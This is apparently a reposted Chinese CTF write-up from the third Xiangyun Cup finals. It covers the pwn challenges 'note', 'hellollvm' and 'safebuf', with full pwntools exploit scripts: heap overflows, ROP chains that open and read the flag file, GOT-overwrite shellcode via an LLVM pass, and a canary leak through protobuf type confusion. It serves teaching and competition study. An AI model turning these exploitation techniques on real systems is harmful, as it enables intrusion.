# gdb_text=''' # b *$rebase(0x4A42) # b *$rebase(0x2AA2) # b *$rebase(0x2C0C) # b *$rebase(0x2809) # b *$rebase(0x33A5) # b *$rebase(0x2559) # b *$rebase(0x352B) # '''
if len(sys.argv)==1 : clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6') io=process(elfelf) gdb_open=1 # io=process(['./'],env={'LD_PRELOAD':'./'}) clibc.srand(clibc.time(0)) libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') # ld = ELF('/lib/x86_64-linux-gnu/ld-2.31.so') one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]
else : clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6') io=remote('172.16.9.5',9096) gdb_open=0 clibc.srand(clibc.time(0)) libc=ELF('./libc-2.31.so') # ld = ELF('/lib/x86_64-linux-gnu/ld-2.31.so') one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]
def gdb_attach(io,a): if gdb_open==1 : gdb.attach(io,a)
def choice(a): io.sendlineafter('>> ',str(a))
def add(a,b,c): choice(1) io.sendlineafter('addressID: ',str(a)) io.sendlineafter('nodeName: ',b) io.sendlineafter('nodeMessage: ',c)
def link(a,b,c,d): choice(3) io.sendlineafter('addressID1: ',str(a)) io.sendlineafter('addressID1: ',str(b)) io.sendlineafter('addressID2: ',str(c)) io.sendlineafter('addressID2: ',str(d))
def gift(idx,pay): choice(10) io.sendlineafter('addressID: ',str(idx)) io.sendlineafter('size: ',str(len(pay))) io.sendafter('data: ',pay)
def show_idx(id,index): pay=p32(2)+p32(index) gift(id,pay)
def edit_idx(id,index,data): pay=p32(1)+p32(index)+p32(0x20)+data gift(id,pay)
for i in range(0xf): add(i,'keer','aaaa')
for i in range(0x9): link(i,9,i+1,0)
show_idx(9,0xffffffff) io.recvuntil('ret: ') io.recv(0x18) leak=u64(io.recvuntil('x7f')[-6:]+'x00x00') off_addr=0x225b0+0x22000 # off_addr=0x225b0+0x22000 libc_base=(leak-off_addr-0x30) libc.address=libc_base
bin_sh_addr=libc.search('/bin/shx00').next() system_addr=libc.sym['system'] free_hook_addr=libc.sym['__free_hook'] pop_rax_ret=libc.search(asm('pop rax;ret')).next() pop_rdi_ret=libc.search(asm('pop rdi;ret')).next() pop_rsi_ret=libc.search(asm('pop rsi;ret')).next() pop_rdx_ret=libc.search(asm('pop rdx;ret')).next() syscall_ret=libc.search(asm('syscall;ret')).next()
index=0x100000000-(0x320//0x20) pay=p64(0)+p64(libc.sym['memcpy'])+p64(pop_rdi_ret) pay+=p64(bin_sh_addr)+p64(system_addr) edit_idx(9,index,pay)
success('libc_base:'+hex(libc_base)) success('heap_base:'+hex(heap_base))
gdb_attach(io,gdb_text) io.interactive()
# except Exception as e: # io.close() # continue # else: # continue

总结

题目利用不难,在于理解


4

note


程序有沙箱只能orw

这是个简单题

第三届“祥云杯”网络安全大赛决赛-WriteUp By EDISEC

简单逆向过掉登录

   def login():      choice(1)      io.recvuntil('challenge: ')      data=io.recvuntil('n')      key=[]      c=''      sum1=0      for i in range(15):        aaa=int(data[i*2:i*2+2],16)        c+=(hex(aaa^i^0x11)[2:]).ljust(2,'0')        sum1+=aaa^i^0x11
c+=(hex(0x100-(sum1%0x100))[2:]).rjust(2,'0') print c io.sendlineafter('response: ',c)

第三届“祥云杯”网络安全大赛决赛-WriteUp By EDISEC

漏洞在add的取随机数膜这里取完随机数后只取了2字节去%0x20

这里膜完可能会是负数,然后malloc之后read的时候size是v3+1,这里可以造成堆溢出,都堆溢出了后续就不多说了看脚本就完事了。

exp

#coding:utf-8import sysfrom pwn import *from ctypes import CDLLcontext.log_level='debug'elfelf='./note'#context.arch='amd64'libc_base=0heap_base=0while True :  # try :    elf=ELF(elfelf)    context.arch=elf.arch
gdb_text=''' '''
if len(sys.argv)==1 : clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6') io=process(elfelf) gdb_open=1 # io=process(['./'],env={'LD_PRELOAD':'./'}) clibc.srand(clibc.time(0)) libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') # ld = ELF('/lib/x86_64-linux-gnu/ld-2.31.so') one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]
else : clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6') io=remote('172.20.2.1',9007) gdb_open=0 clibc.srand(clibc.time(0)) libc=ELF('./libc-2.31.so') # ld = ELF('/lib/x86_64-linux-gnu/ld-2.31.so') one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]
def gdb_attach(io,a): if gdb_open==1 : gdb.attach(io,a) sleep(0.5)
def choice(a): io.sendlineafter('>> ',str(a))
def add(a,b,c): choice(2) io.sendlineafter('safe -> 1): ',str(c)) io.sendlineafter('size: ',str(a)) io.sendafter('content: ',b)
def show(a): choice(3) io.sendlineafter('index: ',str(a))
def delete(a): choice(4) io.sendlineafter('index: ',str(a))
def login(): choice(1) io.recvuntil('challenge: ') data=io.recvuntil('n') key=[] c='' sum1=0 for i in range(15): aaa=int(data[i*2:i*2+2],16) c+=(hex(aaa^i^0x11)[2:]).ljust(2,'0') sum1+=aaa^i^0x11
c+=(hex(0x100-(sum1%0x100))[2:]).rjust(2,'0') print c io.sendlineafter('response: ',c)
login() add(0x4e0,'a'*0x10,0) add(0x4e0,'a'*0x10,0) data='' for i in range(0x100): delete(0) add(0x4f2,'a'*0x4f0,1) show(0) io.recvuntil('content: ') data=io.recvuntil('n-----------menu',drop=True) if len(data) >0x4f0 : break
key=[] for i in range(0x10): key.append(ord('a')^ord(data[0x4f0+i:0x4f1+i]))
add(0xe0,'a'*0x10,0) add(0x4e0,'a'*0x10,0) add(0xe0,'a'*0x10,0) add(0x80,'a'*0x10,0) add(0xe0,'a'*0x10,0) add(0x180,'a'*0x10,0) add(0xe0,'a'*0x10,0) add(0x80,'a'*0x10,0) add(0x80,'a'*0x10,0) add(0x180,'a'*0x10,0) add(0x80,'a'*0x10,0)
delete(3) add(0x4e0,'a'*8,0) show(3)
leak=u64(io.recvuntil('x7f')[-6:]+'x00x00') libc_base=((leak-libc.sym['_IO_2_1_stdin_'])>>12)<<12 libc.address=libc_base bin_sh_addr=libc.search('/bin/shx00').next() system_addr=libc.sym['system'] free_hook_addr=libc.sym['__free_hook'] pop_rax_ret=libc.search(asm('pop rax;ret')).next() pop_rdi_ret=libc.search(asm('pop rdi;ret')).next() pop_rsi_ret=libc.search(asm('pop rsi;ret')).next() pop_rdx_ret=libc.search(asm('pop rdx;pop rbx;ret')).next() syscall_ret=libc.search(asm('syscall;ret')).next()
def encode(a): j=0 c='' while j<len(a): for i in range(0x10): c+=chr(ord(a[j:j+1])^key[i]) j+=1 if j>=len(a): break return c
delete(12) delete(5)
for i in range(0x20): delete(4) add(0xf8,encode('a'*0xe8+p64(0x91)+p64(libc.sym['environ']-0x10)),1)
add(0x80,'a'*0x10,0) add(0x80,'a'*0x10,0) show(12) io.recvuntil('a'*0x10) stack_addr=u64(io.recv(6)+'x00x00')-0x108
delete(11) delete(7)
for i in range(0x20): delete(6) add(0xf8,encode('a'*0xe8+p64(0x191)+p64(stack_addr)),1)
pay='./flagx00x00' pay+=p64(pop_rdi_ret)+p64(stack_addr) pay+=p64(pop_rsi_ret)+p64(0) pay+=p64(pop_rax_ret)+p64(2)
pay+=p64(syscall_ret) pay+=p64(pop_rax_ret)+p64(0) pay+=p64(pop_rdi_ret)+p64(3) pay+=p64(pop_rdx_ret)+p64(0x30)*2 pay+=p64(pop_rsi_ret)+p64(stack_addr-0x300) pay+=p64(syscall_ret)
pay+=p64(pop_rax_ret)+p64(1) pay+=p64(pop_rdi_ret)+p64(1) pay+=p64(pop_rsi_ret)+p64(stack_addr-0x300) pay+=p64(syscall_ret) add(0x180,'aaaa',0) add(0x180,encode(pay),0)
success('libc_base:'+hex(libc_base)) success('heap_base:'+hex(heap_base)) success('stack_addr:'+hex(stack_addr)) gdb_attach(io,gdb_text)
io.interactive()
# except Exception as e: # io.close() # continue # else: # continue


5

hellollvm


简单的llvm pass ,

这个是属于入门级别的llvm pas

关于llvm pass的文章已经有很多了

相关知识点如下:(私人笔记)

clang `llvm-config --cxxflags` -Wl,-znodelete -fno-rtti -fPIC -shared Hello.cpp -o LLVMHello.so `llvm-config --ldflags`
  1. getName()函数用于获取当前runOnFunction正处理的函数名。

  2. getOpcodeName()函数用于获取指令的操作符的名称,getNumOperands()用于获取指令的操作数的个数,getOpcode()函数用于获取指令的操作符编号,在/usr/include/llvm-xx/llvm/IR/Instruction.def文件中有对应表,可以看到,56号对应着Call这个操作符:

HANDLE_OTHER_INST(56, Call   , CallInst   )  // Call a function
  1. 当在一个A函数中调用了B函数,在LLVM IR中,A会通过Call操作符调用B,getCalledFunction()函数就是用于获取此处B函数的名称。

  2. getOperand(i)是用于获取第i个操作数(在这里就是获取所调用函数的第i个参数),getArgOperand()函数与其用法类似,但只能获取参数,getZExtValue()即get Zero Extended Value,也就是将获取的操作数转为无符号扩展整数。

  3. 再看到最内层for循环中的instIter->getNumOperands()-1,这里需要-1是因为对于call和invoke操作符,操作数的数量是实际参数的个数+1(因为将被调用者也当成了操作数)。

  4. if (isa<ConstantInt>(call_inst->getOperand(i)))这行语句是通过isa判断当前获取到的操作数是不是立即数(ConstantInt)。

  5. static RegisterPass<Hello> X(“Hello”, “Hello World Pass”);中的第一个参数就是注册的PASS名称。

clang -emit-llvm -S test.c -o test.ll
opt -load ./LLVMHello.so -Hello test.ll

逆向分析so模块

一般来说,CTF题也都像上面的示例程序一样,重写了FunctionPass类中的runOnFunction函数,那么拿到一个so模块,该如何定位到重写的runOnFunction函数呢?

https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8ElDibOGLWykfuO3X9uJeGYkanGAVeXgvgYbCmyXic81bn8o6GOAqXQSW9iaPFIp2jJa9q2IMU6Ov1pw/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1

如上图,用IDA对so模块逆向分析,在IDA中搜索vtable,定位到虚表后,虚表最后的一项sub_C880就是重写的runOnFunction函数,漏洞点一般就在其中。

至于PASS注册的名称,一般会在README文件中给出,若是没有给出,可通过对__cxa_atexit函数“交叉引用”来定位:

https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8ElDibOGLWykfuO3X9uJeGYkeLa41TsoH54Jv5LNeXTQnLfXqNibGGKGj8VgTlqRibmy2fXVl8gcAYOg/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1

例如,上图中圈出的字符串就是此so模块注册的PASS名称,不同的so模块这里显示的可能会略有不同,但都能看出PASS名称。

当然,由于LLVM是C++所写,读者在做LLVM的题之前,也应当对C++程序的逆向分析有所了解。

gdb调试方法

接下来介绍一下如何用gdb调试LLVM的题。

首先用gdb调试opt并用set args设置参数传入,然后在main函数下断点再跑起来即可:

https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8ElDibOGLWykfuO3X9uJeGYkBuWiaXe7fpNTdelicECPZ6gbib271QyP3V6ocx4Ikf44ByBCF5yEo02gA/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1

不过,opt并不会一开始就将so模块加载进来,而是在下图所示的call指令(在call了一堆llvm初始化相关函数后的第一个call)执行完之后,才会加载so模块:

https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8ElDibOGLWykfuO3X9uJeGYkWUOHulhWWdUMqFqtWSOtpZUw3w9cqQh8alaCorJBTnGLs39KMTOKTA/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1

下图圈出来的就是so模块的基地址(高版本opt会显示在内存分布表的下方),直接用这个基地址加上对应偏移就可以得到so模块中的汇编指令地址了,也就能下断点了。

https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8ElDibOGLWykfuO3X9uJeGYk6sr0e7tImS8WtoIdg6SRlpcpA2BXprw2VwW5UiaqkicDOIld2NoHTNpQ/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1

值得一提的是,opt是通过下面几张图展示的这条调用链来执行重写的runOnFunction函数的:

https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8ElDibOGLWykfuO3X9uJeGYkd8gFjaz7HiaBjjKcnn9OPFF2YibBDLCxxOiah6SnKCQiahprAx8h5wEGEA/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1

https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8ElDibOGLWykfuO3X9uJeGYkq5kiavtYGAnp3Kh6Aic7cxFvosVNwMtKq1fpictw5LAMuib4sXYwWVIicsg/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1

https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8ElDibOGLWykfuO3X9uJeGYkaqvSeumicHlatcV939YTA7tOUmw0aVnTEYj6AgynjZ27u0WTjIsKPEw/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1

https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8ElDibOGLWykfuO3X9uJeGYkkKW1w7q0iaTxhibV60a4ibLCaqAJbKHapgzZUcakAPnL2P0RR8b9KB2XQ/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1

开始分析

其实也就没啥分析的了,通过上述方法找到runOnFunction函数之后

发现是用call函数实现了菜单堆,具体如下:

void Add(int a){  return ;}void Del(int a){  return ;}
void Edit(int a,int idx,int value){ return ;}
void Alloc(){ return ;}
void EditAlloc(){ return ;}

alloc是申请地址为0x10000长度为0x1000 权限为rwx 的一段虚拟内存。

edit函数是索引 chunk id 为a的堆块,对4字节为单位进行idx索引,写值为value

idx没有大小限制,这里可以造成任意地址写

因此我们可以实现uaf去申请0x10000地址然后去填充内容

再通过0x10000地址为基础去索引没有开pie 的opt程序的got表进行填写free的got表地址

修改值为0x10000就可以触发我们的shellcode了。

直接上代码

EXP

//b *(0x7fc2b50b6000+0x86F5)#include <stdio.h>void Add(int a){  return ;}
void Del(int a){ return ;}
void Edit(int a,int idx,int value){ return ;}
void Alloc(){ return ;}
void EditAlloc(){ return ;}
int main(){ Add(0xf0); Add(0xf0); Add(0xf0); Del(2); Del(1); Alloc(); Edit(0,0x100/4,0x10000); Add(0xf0); Add(0xf0); Edit(2,0,1220555080); Edit(2,1,1213658673); Edit(2,2,1768042431); Edit(2,3,1932472174); Edit(2,4,1599362920); Edit(2,5,261700528); Edit(2,6,5); Edit(2,(0x78B108-0x10000)/4,0x10000); Edit(2,((0x78B108-0x10000)/4)+1,0); EditAlloc(); return 0;}


6

safebuf

首先是因为少./libprotobuf.so.32库问主办方要了一下这个库

第三届“祥云杯”网络安全大赛决赛-WriteUp By EDISEC

parsefromarray解析找到结构体,并且找到相应的处理函数

第三届“祥云杯”网络安全大赛决赛-WriteUp By EDISEC

第三届“祥云杯”网络安全大赛决赛-WriteUp By EDISEC

味对了

我们先去导出proto文件

第三届“祥云杯”网络安全大赛决赛-WriteUp By EDISEC

第三届“祥云杯”网络安全大赛决赛-WriteUp By EDISEC

export出来之后保存成文件然后通过github上大师傅们写好的项目进行转换

第三届“祥云杯”网络安全大赛决赛-WriteUp By EDISEC

第三届“祥云杯”网络安全大赛决赛-WriteUp By EDISEC

直接生成proto文件

然后通过protoc转化成我们能用的py

第三届“祥云杯”网络安全大赛决赛-WriteUp By EDISEC

第三届“祥云杯”网络安全大赛决赛-WriteUp By EDISEC

具体分析就是上面函数去处理输入的数据

漏洞在处理TwoArgs这个结构时

第三届“祥云杯”网络安全大赛决赛-WriteUp By EDISEC

函数是sub_71E2

第三届“祥云杯”网络安全大赛决赛-WriteUp By EDISEC

在处理TwoArgs里面的三个数据时都放入同一个地址里面了,解析idx时只赋值一个字节,解析size时全部覆盖,解析content时,赋值为protobuf str的结构体指针。

利用流程如下

首先地址值覆盖为堆中能泄露敏感数据且符合protobuf str结构体类型的地址指针然后GoogleMessage的idx设置为5去进行泄露。

然后泄露出libc 和 heap地址之后,再通过设置

第三届“祥云杯”网络安全大赛决赛-WriteUp By EDISEC

这三个去组成一个伪造的str结构体类型 指针+size 布置为  fs段的canary存放位置,设置TwoArgs的idx为ThreeArgs我们伪造结构体的地址。通过选项5泄露出canary之后就可以通过选项4栈溢出构造rop去进行利用了。

EXP

#coding:utf-8import sysimport osfrom pwn import *from ctypes import CDLLfrom a_pb2 import *context.log_level='debug'elfelf='./pwn'libc_base=0heap_base=0#context.arch='amd64'while True :  # try :    elf=ELF(elfelf)    context.arch=elf.arch    gdb_text='''      b *$rebase(0x71E2)      b *$rebase(0x7234)      b *$rebase(0x7CA6)      b *$rebase(0x50A7)      '''
if len(sys.argv)==1 : # io=process(['./'],env={'LD_PRELOAD':'./'}) io=process(elfelf) # clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6') # clibc.srand(clibc.time(0)) gdb_open=1 libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') # ld = ELF('/lib/x86_64-linux-gnu/ld.so.6') one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]
else : io=remote('172.20.2.1',9008) # clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6') # clibc.srand(clibc.time(0)) gdb_open=0 libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') # ld = ELF('/lib/x86_64-linux-gnu/ld.so.6') one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]
def gdb_attach(io,a): if gdb_open==1 : gdb.attach(io,a) sleep(1)
def choice(id,b,c): a=GoogleMessage() a.arg1=id a.arg2.content=b'a'*0x40 a.arg3.content=b a.arg3.idx=c pay=a.SerializeToString() return pay
def choice1(id,b,c): a=GoogleMessage() a.arg1=id a.arg3.content=b'./flag' a.arg3.size=c # a.arg3.idx=c a.arg4.idx=b&0xffffffff a.arg4.content=b'c' a.arg4.size=b>>32 a.arg4.seek=0x80 pay=a.SerializeToString() return pay

pay=choice(5,b'a'*0x40,0xaa) 0x2de8 io.sendlineafter(b'$ ',pay) io.sendline(b'32') io.recvuntil(b'a'*0x40) io.recv(6) heap_base=u64(io.recv(8)) io.recv(0x90)
libc_base=u64(io.recv(8))-libc.sym['_IO_2_1_stdin_'] libc_base=libc_base&0xfffffffffffff000 libc.address=libc_base bin_sh_addr=next(libc.search(b'/bin/shx00')) system_addr=libc.sym['system'] free_hook_addr=libc.sym['__free_hook'] pop_rax_ret=next(libc.search(asm('pop rax;ret'))) pop_rdi_ret=next(libc.search(asm('pop rdi;ret'))) pop_rsi_ret=next(libc.search(asm('pop rsi;ret'))) pop_rdx_ret=next(libc.search(asm('pop rdx;pop rbx;ret'))) syscall_ret=next(libc.search(asm('syscall;ret')))
pay=choice1(5,libc_base-0x109000+0x2de8,heap_base-0xa308) io.sendlineafter(b'$ ',pay) io.sendline(b'32') io.recvuntil('n5') canary=io.recv(8) flag_name_addr=heap_base-0x8ac0 pay=choice1(4,libc_base-0x109000+0x2de8,heap_base-0xa308)
io.sendlineafter(b'$ ',pay) pay1=b'a'*0x1c+canary+p64(0) pay1+=p64(pop_rdi_ret)+p64(flag_name_addr) pay1+=p64(pop_rsi_ret)+p64(0) pay1+=p64(pop_rdx_ret)+p64(0x30)*2 pay1+=p64(pop_rax_ret)+p64(2) pay1+=p64(syscall_ret)

pay1+=p64(pop_rax_ret)+p64(0) pay1+=p64(pop_rdi_ret)+p64(3) pay1+=p64(pop_rsi_ret)+p64(heap_base) pay1+=p64(syscall_ret)
pay1+=p64(pop_rax_ret)+p64(1) pay1+=p64(pop_rdi_ret)+p64(1) pay1+=p64(pop_rsi_ret)+p64(heap_base) pay1+=p64(syscall_ret)
gdb_attach(io,gdb_text) io.sendline(pay1)

success('libc_base:'+hex(libc_base)) success('heap_base:'+hex(heap_base))

io.interactive()
# except Exception as e: # io.close() # continue # else: # continue



EDI安全

第三届“祥云杯”网络安全大赛决赛-WriteUp By EDISEC

扫二维码|关注我们

一个专注渗透实战经验分享的公众号


原文始发于微信公众号(EDI安全):第三届“祥云杯”网络安全大赛决赛-WriteUp By EDISEC

版权声明:admin 发表于 2023年9月13日 上午11:22。
转载请注明:第三届“祥云杯”网络安全大赛决赛-WriteUp By EDISEC | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...